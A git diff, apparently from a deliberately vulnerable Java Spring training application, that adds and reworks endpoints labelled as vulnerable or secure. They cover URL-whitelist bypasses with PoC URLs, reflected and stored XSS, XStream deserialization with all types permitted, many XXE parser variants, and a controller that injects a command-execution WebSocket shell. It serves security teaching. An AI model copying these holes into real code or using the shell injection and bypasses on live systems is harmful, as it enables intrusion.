@GetMapping("/vuln/endsWith") + public String endsWith(@RequestParam("url") String url) { + + String host = SecurityUtil.gethost(url); - for (String domain: domainwhitelist){ + for (String domain : domainwhitelist) { if (host.endsWith(domain)) { return "Good url."; } @@ -47,19 +46,19 @@ public String endsWith(HttpServletRequest request) throws Exception{ return "Bad url."; } + /** - * bypass poc: joychou.org.bypass.com or bypassjoychou.org. - * http://localhost:8080/url/contains?url=http://joychou.org.bypass.com http://bypassjoychou.org - * + * It's the same with indexOf. + *

+ * http://localhost:8080/url/vuln/contains?url=http://joychou.org.bypass.com + * http://localhost:8080/url/vuln/contains?url=http://bypassjoychou.org */ - @RequestMapping("/contains") - @ResponseBody - public String contains(HttpServletRequest request) throws Exception{ - String url = request.getParameter("url"); - URL u = new URL(url); - String host = u.getHost().toLowerCase(); + @GetMapping("/vuln/contains") + public String contains(@RequestParam("url") String url) { - for (String domain: domainwhitelist){ + String host = SecurityUtil.gethost(url); + + for (String domain : domainwhitelist) { if (host.contains(domain)) { return "Good url."; } @@ -70,18 +69,15 @@ public String contains(HttpServletRequest request) throws Exception{ /** * bypass poc: bypassjoychou.org. It's the same with endsWith. - * http://localhost:8080/url/regex?url=http://aaajoychou.org - * + * http://localhost:8080/url/vuln/regex?url=http://aaajoychou.org */ - @RequestMapping("/regex") - @ResponseBody - public String regex(HttpServletRequest request) throws Exception{ - String url = request.getParameter("url"); - URL u = new URL(url); - String host = u.getHost().toLowerCase(); + @GetMapping("/vuln/regex") + public String regex(@RequestParam("url") String url) { + String host = SecurityUtil.gethost(url); Pattern p = Pattern.compile("joychou\\.org$"); Matcher m = p.matcher(host); + if (m.find()) { return "Good url."; } else { @@ -91,138 +87,85 @@ public String regex(HttpServletRequest request) throws Exception{ /** - * bypass poc: joychou.org.bypass.com or bypassjoychou.org. It's the same with contains. - * http://localhost:8080/url/indexof?url=http://joychou.org.bypass.com http://bypassjoychou.org + * The bypass of using {@link java.net.URL} to getHost. + *

+ * bypass 1 + * bypass 2 * + *

+ * More details */ - @RequestMapping("/indexof") - @ResponseBody - public String indexOf(HttpServletRequest request) throws Exception{ - String url = request.getParameter("url"); - URL u = new URL(url); - String host = u.getHost(); - // If indexOf returns -1, it means that no string was found. - for (String domain: domainwhitelist){ - if (host.indexOf(domain) != -1) { - return "Good url."; - } - } - return "Bad url."; - } + @GetMapping("/vuln/url_bypass") + public void url_bypass(String url, HttpServletResponse res) throws IOException { - /** - * The bypass of using java.net.URL to getHost. - * - * Bypass poc1: curl -v 'http://localhost:8080/url/url_bypass?url=http://evel.com%5c@www.joychou.org/a.html' - * Bypass poc2: curl -v 'http://localhost:8080/url/url_bypass?url=http://evil.com%5cwww.joychou.org/a.html' - * - * Detail: https://github.com/JoyChou93/java-sec-code/wiki/URL-whtielist-Bypass - */ - @RequestMapping("/url_bypass") - @ResponseBody - public String url_bypass(HttpServletRequest request) throws Exception{ - String url = request.getParameter("url"); - System.out.println("url: " + url); - URL u = new URL(url); + logger.info("url: " + url); - if (!u.getProtocol().startsWith("http") && !u.getProtocol().startsWith("https")) { - return "Url is not http or https"; + if (!SecurityUtil.isHttp(url)) { + return; } - String host = u.getHost().toLowerCase(); - System.out.println("host: " + host); + URL u = new URL(url); + String host = u.getHost(); + logger.info("host: " + host); // endsWith . - for (String domain: domainwhitelist){ + for (String domain : domainwhitelist) { if (host.endsWith("." + domain)) { - return "Good url."; + res.sendRedirect(url); } } - return "Bad url."; } - /** - * First-level host whitelist. - * http://localhost:8080/url/seccode1?url=http://aa.taobao.com - * + * First-level & Multi-level host whitelist. + * http://localhost:8080/url/sec?url=http://aa.joychou.org */ - @RequestMapping("/seccode1") - @ResponseBody - public String seccode1(HttpServletRequest request) throws Exception{ + @GetMapping("/sec") + public String sec(@RequestParam("url") String url) { - String whiteDomainlists[] = {"taobao.com", "tmall.com"}; - String url = request.getParameter("url"); + String whiteDomainlists[] = {"joychou.org", "joychou.com", "test.joychou.me"}; - URI uri = new URI(url); - if (!url.startsWith("http://") && !url.startsWith("https://")) { + if (!SecurityUtil.isHttp(url)) { return "SecurityUtil is not http or https"; } - String host = uri.getHost().toLowerCase(); + String host = SecurityUtil.gethost(url); - // endsWith . - for (String domain: whiteDomainlists){ - if (host.endsWith("." + domain)) { - return "Good url."; + for (String whiteHost: whiteDomainlists){ + if (whiteHost.startsWith(".") && host.endsWith(whiteHost)) { + return url; + } else if (!whiteHost.startsWith(".") && host.equals(whiteHost)) { + return url; } } return "Bad url."; } - /** - * Muti-level host whitelist. - * http://localhost:8080/url/seccode2?url=http://ccc.bbb.taobao.com - * - */ - @RequestMapping("/seccode2") - @ResponseBody - public String seccode2(HttpServletRequest request) throws Exception{ - String whiteDomainlists[] = {"aaa.taobao.com", "ccc.bbb.taobao.com"}; - String url = request.getParameter("url"); - - URI uri = new URI(url); - if (!url.startsWith("http://") && !url.startsWith("https://")) { - return "SecurityUtil is not http or https"; - } - String host = uri.getHost().toLowerCase(); - - // equals - for (String domain: whiteDomainlists){ - if (host.equals(domain)) { - return "Good url."; - } - } - return "Bad url."; - } /** - * Muti-level host whitelist. - * http://localhost:8080/url/seccode3?url=http://ccc.bbb.taobao.com - * + * http://localhost:8080/url/sec/array_indexOf?url=http://ccc.bbb.joychou.org */ - @RequestMapping("/seccode3") - @ResponseBody - public String seccode3(HttpServletRequest request) throws Exception{ + @GetMapping("/sec/array_indexOf") + public String sec_array_indexOf(@RequestParam("url") String url) { // Define muti-level host whitelist. - ArrayList whiteDomainlists = new ArrayList(); - whiteDomainlists.add("bbb.taobao.com"); - whiteDomainlists.add("ccc.bbb.taobao.com"); - - String url = request.getParameter("url"); - URI uri = new URI(url); + ArrayList whiteDomainlists = new ArrayList<>(); + whiteDomainlists.add("bbb.joychou.org"); + whiteDomainlists.add("ccc.bbb.joychou.org"); - if (!url.startsWith("http://") && !url.startsWith("https://")) { + if (!SecurityUtil.isHttp(url)) { return "SecurityUtil is not http or https"; } - String host = uri.getHost().toLowerCase(); + + String host = SecurityUtil.gethost(url); + if (whiteDomainlists.indexOf(host) != -1) { return "Good url."; } return "Bad url."; } + } diff --git a/src/main/java/org/joychou/controller/WebSockets.java b/src/main/java/org/joychou/controller/WebSockets.java new file mode 100644 index 00000000..6a477ece --- /dev/null +++ b/src/main/java/org/joychou/controller/WebSockets.java @@ -0,0 +1,76 @@ +package org.joychou.controller; + +import org.apache.tomcat.websocket.server.WsServerContainer; +import org.joychou.config.WebSocketsProxyEndpoint; +import org.joychou.config.WebSocketsCmdEndpoint; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import javax.servlet.ServletContext; +import javax.servlet.http.HttpServletRequest; +import javax.websocket.server.ServerContainer; +import javax.websocket.server.ServerEndpointConfig; + + +@RestController +public class WebSockets { + + /** + *

动态添加WebSockets实现命令执行

+ *

+ * 1. WebSocket的端口和Spring端口一致。
+ * 2. 如果应用需要登录,动态添加的WebSocket路由不能要求被登录,否则添加失败。 + *

+ *

+ * http://localhost:8080/websocket/cmd?path=/ws/shell
+ * WebSockets 的URL为ws://127.0.0.1:8080/ws/shell + *

+ *

JoyChou @ 2023年02月20日

+ */ + @RequestMapping("/websocket/cmd") + public String cmdInject(HttpServletRequest req) { + String path = req.getParameter("path"); + if (path == null) { + return "path is null"; + } + ServletContext sc = req.getServletContext(); + try { + ServerEndpointConfig sec = ServerEndpointConfig.Builder.create(WebSocketsCmdEndpoint.class, path).build(); + WsServerContainer wsc = (WsServerContainer) sc.getAttribute(ServerContainer.class.getName()); + if (wsc.findMapping(path) == null) { + wsc.addEndpoint(sec); + System.out.println("[+] Websocket: " + path + " inject success!!!"); + return "[+] Websocket: " + path + " inject success!!!"; + } else { + System.out.println("[-] Websocket: " + path + " has been injected!"); + return "[-] Websocket: " + path + " has been injected!"; + } + } catch (Exception e) { + return e.toString(); + } + } + + @RequestMapping("/websocket/proxy") + public String proxyInject(HttpServletRequest req) { + String path = req.getParameter("path"); + if (path == null) { + return "path is null"; + } + ServletContext sc = req.getServletContext(); + try { + ServerEndpointConfig sec = ServerEndpointConfig.Builder.create(WebSocketsProxyEndpoint.class, path).build(); + WsServerContainer wsc = (WsServerContainer) sc.getAttribute(ServerContainer.class.getName()); + if (wsc.findMapping(path) == null) { + wsc.addEndpoint(sec); + System.out.println("[+] Websocket: " + path + " inject success!!!"); + return "[+] Websocket: " + path + " inject success!!!"; + } else { + System.out.println("[-] Websocket: " + path + " has been injected!"); + return "[-] Websocket: " + path + " has been injected!"; + } + } catch (Exception e) { + return e.toString(); + } + } + +} diff --git a/src/main/java/org/joychou/controller/XSS.java b/src/main/java/org/joychou/controller/XSS.java index 70d4302d..1c4b8732 100644 --- a/src/main/java/org/joychou/controller/XSS.java +++ b/src/main/java/org/joychou/controller/XSS.java @@ -2,32 +2,73 @@ import org.apache.commons.lang.StringUtils; import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.CookieValue; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody; -import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.Cookie; +import javax.servlet.http.HttpServletResponse; + /** - * @author JoyChou (joychou@joychou.org) - * @date 2018.01.02 - * @desc XSS vuls code + * @author JoyChou @2018-01-02 */ - @Controller @RequestMapping("/xss") public class XSS { - @RequestMapping("/print") + + /** + * Vuln Code. + * ReflectXSS + * http://localhost:8080/xss/reflect?xss= + * + * @param xss unescape string + */ + @RequestMapping("/reflect") @ResponseBody - public static String ssrf_URLConnection(HttpServletRequest request) - { - String con = request.getParameter("con"); - return con; + public static String reflect(String xss) { + return xss; + } - // fix code - // return encode(con); + /** + * Vul Code. + * StoredXSS Step1 + * http://localhost:8080/xss/stored/store?xss= + * + * @param xss unescape string + */ + @RequestMapping("/stored/store") + @ResponseBody + public String store(String xss, HttpServletResponse response) { + Cookie cookie = new Cookie("xss", xss); + response.addCookie(cookie); + return "Set param into cookie"; + } + + /** + * Vul Code. + * StoredXSS Step2 + * http://localhost:8080/xss/stored/show + * + * @param xss unescape string + */ + @RequestMapping("/stored/show") + @ResponseBody + public String show(@CookieValue("xss") String xss) { + return xss; + } + + /** + * safe Code. + * http://localhost:8080/xss/safe + */ + @RequestMapping("/safe") + @ResponseBody + public static String safe(String xss) { + return encode(xss); } - public static String encode(String origin) { + private static String encode(String origin) { origin = StringUtils.replace(origin, "&", "&"); origin = StringUtils.replace(origin, "<", "<"); origin = StringUtils.replace(origin, ">", ">"); diff --git a/src/main/java/org/joychou/controller/XStreamRce.java b/src/main/java/org/joychou/controller/XStreamRce.java index d4c35872..aa3469bd 100644 --- a/src/main/java/org/joychou/controller/XStreamRce.java +++ b/src/main/java/org/joychou/controller/XStreamRce.java @@ -2,8 +2,9 @@ import com.thoughtworks.xstream.XStream; import com.thoughtworks.xstream.io.xml.DomDriver; +import com.thoughtworks.xstream.security.AnyTypePermission; import org.joychou.dao.User; -import org.joychou.utils.Tools; +import org.joychou.util.WebUtils; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RestController; @@ -21,23 +22,12 @@ public class XStreamRce { * @author JoyChou @2019-07-26 */ @PostMapping("/xstream") - public String parseXml(HttpServletRequest request) throws Exception{ - String xml = Tools.getRequestBody(request); + public String parseXml(HttpServletRequest request) throws Exception { + String xml = WebUtils.getRequestBody(request); XStream xstream = new XStream(new DomDriver()); + xstream.addPermission(AnyTypePermission.ANY); // This will cause all XStream versions to be affected. xstream.fromXML(xml); return "xstream"; } - public static void main(String[] args) throws Exception { - User user = new User(); - user.setId(0); - user.setUsername("admin"); - - XStream xstream = new XStream(new DomDriver()); - String xml = xstream.toXML(user); // Serialize - System.out.println(xml); - - user = (User)xstream.fromXML(xml); // Deserialize - System.out.println(user.getId() + ": " + user.getUsername() ); - } } diff --git a/src/main/java/org/joychou/controller/XXE.java b/src/main/java/org/joychou/controller/XXE.java index e5ea009e..58e90739 100644 --- a/src/main/java/org/joychou/controller/XXE.java +++ b/src/main/java/org/joychou/controller/XXE.java @@ -1,28 +1,39 @@ package org.joychou.controller; - +import org.dom4j.DocumentHelper; import org.dom4j.io.SAXReader; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.data.web.ProjectedPayload; +import org.springframework.http.HttpEntity; +import org.springframework.http.ResponseEntity; import org.springframework.web.bind.annotation.*; + import javax.servlet.http.HttpServletRequest; + import org.w3c.dom.Document; import org.w3c.dom.Node; import org.w3c.dom.NodeList; import org.xml.sax.helpers.XMLReaderFactory; import org.xml.sax.XMLReader; + import java.io.*; + import org.xml.sax.InputSource; import javax.xml.parsers.DocumentBuilder; import javax.xml.parsers.DocumentBuilderFactory; import javax.xml.parsers.SAXParserFactory; import javax.xml.parsers.SAXParser; + import org.xml.sax.helpers.DefaultHandler; import org.apache.commons.digester3.Digester; import org.jdom2.input.SAXBuilder; -import org.joychou.utils.Tools; +import org.joychou.util.WebUtils; +import org.xmlbeam.annotation.XBRead; /** - * Java xxe vul and safe code. + * Java xxe vuln and security code. * * @author JoyChou @2017-12-22 */ @@ -31,26 +42,29 @@ @RequestMapping("/xxe") public class XXE { - @RequestMapping(value = "/xmlReader", method = RequestMethod.POST) - public String xxe_xmlReader(HttpServletRequest request) { + private static final Logger logger = LoggerFactory.getLogger(XXE.class); + private static final String EXCEPT = "xxe except"; + + @PostMapping("/xmlReader/vuln") + public String xmlReaderVuln(HttpServletRequest request) { try { - String xml_con = Tools.getRequestBody(request); - System.out.println(xml_con); + String body = WebUtils.getRequestBody(request); + logger.info(body); XMLReader xmlReader = XMLReaderFactory.createXMLReader(); - xmlReader.parse( new InputSource(new StringReader(xml_con)) ); // parse xml - return "ok"; + xmlReader.parse(new InputSource(new StringReader(body))); // parse xml + return "xmlReader xxe vuln code"; } catch (Exception e) { - System.out.println(e); - return "except"; + logger.error(e.toString()); + return EXCEPT; } } - @RequestMapping(value = "/xmlReader_fix", method = RequestMethod.POST) - public String xxe_xmlReader_fix(HttpServletRequest request) { + @RequestMapping(value = "/xmlReader/sec", method = RequestMethod.POST) + public String xmlReaderSec(HttpServletRequest request) { try { - String xml_con = Tools.getRequestBody(request); - System.out.println(xml_con); + String body = WebUtils.getRequestBody(request); + logger.info(body); XMLReader xmlReader = XMLReaderFactory.createXMLReader(); // fix code start @@ -58,293 +72,248 @@ public String xxe_xmlReader_fix(HttpServletRequest request) { xmlReader.setFeature("http://xml.org/sax/features/external-general-entities", false); xmlReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false); //fix code end - xmlReader.parse( new InputSource(new StringReader(xml_con)) ); // parse xml + xmlReader.parse(new InputSource(new StringReader(body))); // parse xml - return "ok"; } catch (Exception e) { - System.out.println(e); - return "except"; + logger.error(e.toString()); + return EXCEPT; } + + return "xmlReader xxe security code"; } - @RequestMapping(value = "/SAXBuilder", method = RequestMethod.POST) - public String xxe_SAXBuilder(HttpServletRequest request) { + @RequestMapping(value = "/SAXBuilder/vuln", method = RequestMethod.POST) + public String SAXBuilderVuln(HttpServletRequest request) { try { - String xml_con = Tools.getRequestBody(request); - System.out.println(xml_con); + String body = WebUtils.getRequestBody(request); + logger.info(body); SAXBuilder builder = new SAXBuilder(); - org.jdom2.Document document = builder.build( new InputSource(new StringReader(xml_con)) ); // cause xxe - return "ok"; + // org.jdom2.Document document + builder.build(new InputSource(new StringReader(body))); // cause xxe + return "SAXBuilder xxe vuln code"; } catch (Exception e) { - System.out.println(e); - return "except"; + logger.error(e.toString()); + return EXCEPT; } } - @RequestMapping(value = "/SAXBuilder_fix", method = RequestMethod.POST) - public String xxe_SAXBuilder_fix(HttpServletRequest request) { + @RequestMapping(value = "/SAXBuilder/sec", method = RequestMethod.POST) + public String SAXBuilderSec(HttpServletRequest request) { try { - String xml_con = Tools.getRequestBody(request); - System.out.println(xml_con); + String body = WebUtils.getRequestBody(request); + logger.info(body); SAXBuilder builder = new SAXBuilder(); builder.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); builder.setFeature("http://xml.org/sax/features/external-general-entities", false); builder.setFeature("http://xml.org/sax/features/external-parameter-entities", false); - org.jdom2.Document document = builder.build( new InputSource(new StringReader(xml_con)) ); + // org.jdom2.Document document + builder.build(new InputSource(new StringReader(body))); - return "ok"; } catch (Exception e) { - return "except"; + logger.error(e.toString()); + return EXCEPT; } + + return "SAXBuilder xxe security code"; } - @RequestMapping(value = "/SAXReader", method = RequestMethod.POST) - public String xxe_SAXReader(HttpServletRequest request) { + @RequestMapping(value = "/SAXReader/vuln", method = RequestMethod.POST) + public String SAXReaderVuln(HttpServletRequest request) { try { - String xml_con = Tools.getRequestBody(request); - System.out.println(xml_con); + String body = WebUtils.getRequestBody(request); + logger.info(body); SAXReader reader = new SAXReader(); - org.dom4j.Document document = reader.read( new InputSource(new StringReader(xml_con)) ); // cause xxe + // org.dom4j.Document document + reader.read(new InputSource(new StringReader(body))); // cause xxe - return "ok"; } catch (Exception e) { - System.out.println(e); - return "except"; + logger.error(e.toString()); + return EXCEPT; } + + return "SAXReader xxe vuln code"; } - @RequestMapping(value = "/SAXReader_fix", method = RequestMethod.POST) - public String xxe_SAXReader_fix(HttpServletRequest request) { + @RequestMapping(value = "/SAXReader/sec", method = RequestMethod.POST) + public String SAXReaderSec(HttpServletRequest request) { try { - String xml_con = Tools.getRequestBody(request); - System.out.println(xml_con); + String body = WebUtils.getRequestBody(request); + logger.info(body); SAXReader reader = new SAXReader(); reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); reader.setFeature("http://xml.org/sax/features/external-general-entities", false); reader.setFeature("http://xml.org/sax/features/external-parameter-entities", false); - org.dom4j.Document document = reader.read( new InputSource(new StringReader(xml_con)) ); - - return "ok"; + // org.dom4j.Document document + reader.read(new InputSource(new StringReader(body))); } catch (Exception e) { - System.out.println(e); - return "except"; + logger.error(e.toString()); + return EXCEPT; } + return "SAXReader xxe security code"; } - @RequestMapping(value = "/SAXParser", method = RequestMethod.POST) - public String xxe_SAXParser(HttpServletRequest request) { + @RequestMapping(value = "/SAXParser/vuln", method = RequestMethod.POST) + public String SAXParserVuln(HttpServletRequest request) { try { - String xml_con = Tools.getRequestBody(request); - System.out.println(xml_con); + String body = WebUtils.getRequestBody(request); + logger.info(body); SAXParserFactory spf = SAXParserFactory.newInstance(); SAXParser parser = spf.newSAXParser(); - parser.parse(new InputSource(new StringReader(xml_con)), new DefaultHandler()); // parse xml + parser.parse(new InputSource(new StringReader(body)), new DefaultHandler()); // parse xml - return "test"; + return "SAXParser xxe vuln code"; } catch (Exception e) { - System.out.println(e); - return "except"; + logger.error(e.toString()); + return EXCEPT; } } - @RequestMapping(value = "/SAXParser_fix", method = RequestMethod.POST) - public String xxe_SAXParser_fix(HttpServletRequest request) { + @RequestMapping(value = "/SAXParser/sec", method = RequestMethod.POST) + public String SAXParserSec(HttpServletRequest request) { try { - String xml_con = Tools.getRequestBody(request); - System.out.println(xml_con); + String body = WebUtils.getRequestBody(request); + logger.info(body); SAXParserFactory spf = SAXParserFactory.newInstance(); spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); spf.setFeature("http://xml.org/sax/features/external-general-entities", false); spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); SAXParser parser = spf.newSAXParser(); - parser.parse(new InputSource(new StringReader(xml_con)), new DefaultHandler()); // parse xml - return "test"; + parser.parse(new InputSource(new StringReader(body)), new DefaultHandler()); // parse xml } catch (Exception e) { - System.out.println(e); - return "except"; + logger.error(e.toString()); + return EXCEPT; } + return "SAXParser xxe security code"; } - @RequestMapping(value = "/Digester", method = RequestMethod.POST) - public String xxe_Digester(HttpServletRequest request) { + @RequestMapping(value = "/Digester/vuln", method = RequestMethod.POST) + public String DigesterVuln(HttpServletRequest request) { try { - String xml_con = Tools.getRequestBody(request); - System.out.println(xml_con); + String body = WebUtils.getRequestBody(request); + logger.info(body); Digester digester = new Digester(); - digester.parse(new StringReader(xml_con)); // parse xml - - return "test"; + digester.parse(new StringReader(body)); // parse xml } catch (Exception e) { - System.out.println(e); - return "except"; + logger.error(e.toString()); + return EXCEPT; } + return "Digester xxe vuln code"; } - @RequestMapping(value = "/Digester_fix", method = RequestMethod.POST) - public String xxe_Digester_fix(HttpServletRequest request) { + @RequestMapping(value = "/Digester/sec", method = RequestMethod.POST) + public String DigesterSec(HttpServletRequest request) { try { - String xml_con = Tools.getRequestBody(request); - System.out.println(xml_con); + String body = WebUtils.getRequestBody(request); + logger.info(body); Digester digester = new Digester(); digester.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); digester.setFeature("http://xml.org/sax/features/external-general-entities", false); digester.setFeature("http://xml.org/sax/features/external-parameter-entities", false); - digester.parse(new StringReader(xml_con)); // parse xml + digester.parse(new StringReader(body)); // parse xml - return "test"; + return "Digester xxe security code"; } catch (Exception e) { - System.out.println(e); - return "except"; + logger.error(e.toString()); + return EXCEPT; } } - // 有回显的XXE - @RequestMapping(value = "/DocumentBuilder_return", method = RequestMethod.POST) - public String xxeDocumentBuilderReturn(HttpServletRequest request) { + /** + * Use request.getInputStream to support UTF16 encoding. + */ + @RequestMapping(value = "/DocumentBuilder/vuln", method = RequestMethod.POST) + public String DocumentBuilderVuln(HttpServletRequest request) { try { - String xml_con = Tools.getRequestBody(request); - System.out.println(xml_con); - DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); DocumentBuilder db = dbf.newDocumentBuilder(); - StringReader sr = new StringReader(xml_con); - InputSource is = new InputSource(sr); + InputSource is = new InputSource(request.getInputStream()); Document document = db.parse(is); // parse xml // 遍历xml节点name和value - StringBuffer buf = new StringBuffer(); + StringBuilder buf = new StringBuilder(); NodeList rootNodeList = document.getChildNodes(); for (int i = 0; i < rootNodeList.getLength(); i++) { Node rootNode = rootNodeList.item(i); NodeList child = rootNode.getChildNodes(); for (int j = 0; j < child.getLength(); j++) { Node node = child.item(j); - buf.append( node.getNodeName() + ": " + node.getTextContent() + "\n" ); + buf.append(String.format("%s: %s\n", node.getNodeName(), node.getTextContent())); } } - sr.close(); - System.out.println(buf.toString()); return buf.toString(); } catch (Exception e) { - System.out.println(e); - return "except"; - } - } - - - @RequestMapping(value = "/DocumentBuilder", method = RequestMethod.POST) - public String DocumentBuilder(HttpServletRequest request) { - try { - String xml_con = Tools.getRequestBody(request); - System.out.println(xml_con); - - DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); - DocumentBuilder db = dbf.newDocumentBuilder(); - StringReader sr = new StringReader(xml_con); - InputSource is = new InputSource(sr); - Document document = db.parse(is); // parse xml - - // 遍历xml节点name和value - StringBuffer result = new StringBuffer(); - NodeList rootNodeList = document.getChildNodes(); - for (int i = 0; i < rootNodeList.getLength(); i++) { - Node rootNode = rootNodeList.item(i); - NodeList child = rootNode.getChildNodes(); - for (int j = 0; j < child.getLength(); j++) { - Node node = child.item(j); - // 正常解析XML,需要判断是否是ELEMENT_NODE类型。否则会出现多余的的节点。 - if(child.item(j).getNodeType() == Node.ELEMENT_NODE) { - result.append( node.getNodeName() + ": " + node.getFirstChild().getNodeValue() + "\n" ); - } - } - } - sr.close(); - System.out.println(result.toString()); - return result.toString(); - } catch (Exception e) { - System.out.println(e); - return "except"; + e.printStackTrace(); + logger.error(e.toString()); + return e.toString(); } } - - @RequestMapping(value = "/DocumentBuilder_fix", method = RequestMethod.POST) - public String xxe_DocumentBuilder_fix(HttpServletRequest request) { + @RequestMapping(value = "/DocumentBuilder/Sec", method = RequestMethod.POST) + public String DocumentBuilderSec(HttpServletRequest request) { try { - String xml_con = Tools.getRequestBody(request); - System.out.println(xml_con); + String body = WebUtils.getRequestBody(request); + logger.info(body); DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); DocumentBuilder db = dbf.newDocumentBuilder(); - StringReader sr = new StringReader(xml_con); + StringReader sr = new StringReader(body); InputSource is = new InputSource(sr); - Document document = db.parse(is); // parse xml + db.parse(is); // parse xml sr.close(); - - return "test"; } catch (Exception e) { - System.out.println(e); - return "except"; + logger.error(e.toString()); + return EXCEPT; } + return "DocumentBuilder xxe security code"; } - @RequestMapping(value = "/DocumentBuilder_xinclude", method = RequestMethod.POST) - public String xxe_xinclude_DocumentBuilder(HttpServletRequest request) { + @RequestMapping(value = "/DocumentBuilder/xinclude/vuln", method = RequestMethod.POST) + public String DocumentBuilderXincludeVuln(HttpServletRequest request) { try { - String xml_con = Tools.getRequestBody(request); - System.out.println(xml_con); + String body = WebUtils.getRequestBody(request); + logger.info(body); DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setXIncludeAware(true); // 支持XInclude dbf.setNamespaceAware(true); // 支持XInclude DocumentBuilder db = dbf.newDocumentBuilder(); - StringReader sr = new StringReader(xml_con); + StringReader sr = new StringReader(body); InputSource is = new InputSource(sr); Document document = db.parse(is); // parse xml NodeList rootNodeList = document.getChildNodes(); - - for (int i = 0; i < rootNodeList.getLength(); i++) { - Node rootNode = rootNodeList.item(i); - NodeList xxe = rootNode.getChildNodes(); - for (int j = 0; j < xxe.getLength(); j++) { - Node xxeNode = xxe.item(j); - // 测试不能blind xxe,所以强行加了一个回显 - System.out.println("xxeNode: " + xxeNode.getNodeValue()); - } - - } + response(rootNodeList); sr.close(); - return "test"; + return "DocumentBuilder xinclude xxe vuln code"; } catch (Exception e) { - System.out.println(e); - return "except"; + logger.error(e.toString()); + return EXCEPT; } } - @RequestMapping(value = "/DocumentBuilder_xinclude_fix", method = RequestMethod.POST) - public String xxe_xinclude_DocumentBuilder_fix(HttpServletRequest request) { + @RequestMapping(value = "/DocumentBuilder/xinclude/sec", method = RequestMethod.POST) + public String DocumentBuilderXincludeSec(HttpServletRequest request) { try { - String xml_con = Tools.getRequestBody(request); - System.out.println(xml_con); + String body = WebUtils.getRequestBody(request); + logger.info(body); DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setXIncludeAware(true); // 支持XInclude @@ -352,67 +321,123 @@ public String xxe_xinclude_DocumentBuilder_fix(HttpServletRequest request) { dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); + DocumentBuilder db = dbf.newDocumentBuilder(); - StringReader sr = new StringReader(xml_con); + StringReader sr = new StringReader(body); InputSource is = new InputSource(sr); Document document = db.parse(is); // parse xml NodeList rootNodeList = document.getChildNodes(); - - for (int i = 0; i < rootNodeList.getLength(); i++) { - Node rootNode = rootNodeList.item(i); - NodeList xxe = rootNode.getChildNodes(); - for (int j = 0; j < xxe.getLength(); j++) { - Node xxeNode = xxe.item(j); - // 测试不能blind xxe,所以强行加了一个回显 - System.out.println("xxeNode: " + xxeNode.getNodeValue()); - } - - } + response(rootNodeList); sr.close(); - return "test"; } catch (Exception e) { - System.out.println(e); - return "except"; + logger.error(e.toString()); + return EXCEPT; } + return "DocumentBuilder xinclude xxe vuln code"; } - @PostMapping("/XMLReader/vul") - public String XMLReaderVul(HttpServletRequest request) { + @PostMapping("/XMLReader/vuln") + public String XMLReaderVuln(HttpServletRequest request) { try { - String xml_con = Tools.getRequestBody(request); - System.out.println(xml_con); + String body = WebUtils.getRequestBody(request); + logger.info(body); + SAXParserFactory spf = SAXParserFactory.newInstance(); SAXParser saxParser = spf.newSAXParser(); XMLReader xmlReader = saxParser.getXMLReader(); - xmlReader.parse( new InputSource(new StringReader(xml_con)) ); - return "test"; + xmlReader.parse(new InputSource(new StringReader(body))); + } catch (Exception e) { - System.out.println(e.toString()); - return "except"; + logger.error(e.toString()); + return EXCEPT; } + + return "XMLReader xxe vuln code"; } - @PostMapping("/XMLReader/fixed") + @PostMapping("/XMLReader/sec") public String XMLReaderSec(HttpServletRequest request) { try { - String xml_con = Tools.getRequestBody(request); - System.out.println(xml_con); + String body = WebUtils.getRequestBody(request); + logger.info(body); + SAXParserFactory spf = SAXParserFactory.newInstance(); SAXParser saxParser = spf.newSAXParser(); XMLReader xmlReader = saxParser.getXMLReader(); xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); xmlReader.setFeature("http://xml.org/sax/features/external-general-entities", false); xmlReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false); - xmlReader.parse( new InputSource(new StringReader(xml_con)) ); - return "test"; + xmlReader.parse(new InputSource(new StringReader(body))); + } catch (Exception e) { - System.out.println(e.toString()); - return "except"; + logger.error(e.toString()); + return EXCEPT; } + return "XMLReader xxe security code"; + } + + + /** + * 修复该漏洞只需升级dom4j到2.1.1及以上,该版本及以上禁用了ENTITY; + * 不带ENTITY的PoC不能利用,所以禁用ENTITY即可完成修复。 + */ + @PostMapping("/DocumentHelper/vuln") + public String DocumentHelper(HttpServletRequest req) { + try { + String body = WebUtils.getRequestBody(req); + DocumentHelper.parseText(body); // parse xml + } catch (Exception e) { + logger.error(e.toString()); + return EXCEPT; + } + + return "DocumentHelper xxe vuln code"; + } + + + private static void response(NodeList rootNodeList){ + for (int i = 0; i < rootNodeList.getLength(); i++) { + Node rootNode = rootNodeList.item(i); + NodeList xxe = rootNode.getChildNodes(); + for (int j = 0; j < xxe.getLength(); j++) { + Node xxeNode = xxe.item(j); + // 测试不能blind xxe,所以强行加了一个回显 + logger.info("xxeNode: " + xxeNode.getNodeValue()); + } + + } + } + + /** + * Receiving POST requests supporting both JSON and XML. + * CVE-2018-1259 + */ + @PostMapping(value = "/xmlbeam/vuln") + HttpEntity post(@RequestBody UserPayload user) { + try { + logger.info(user.toString()); + return ResponseEntity.ok(String.format("hello, 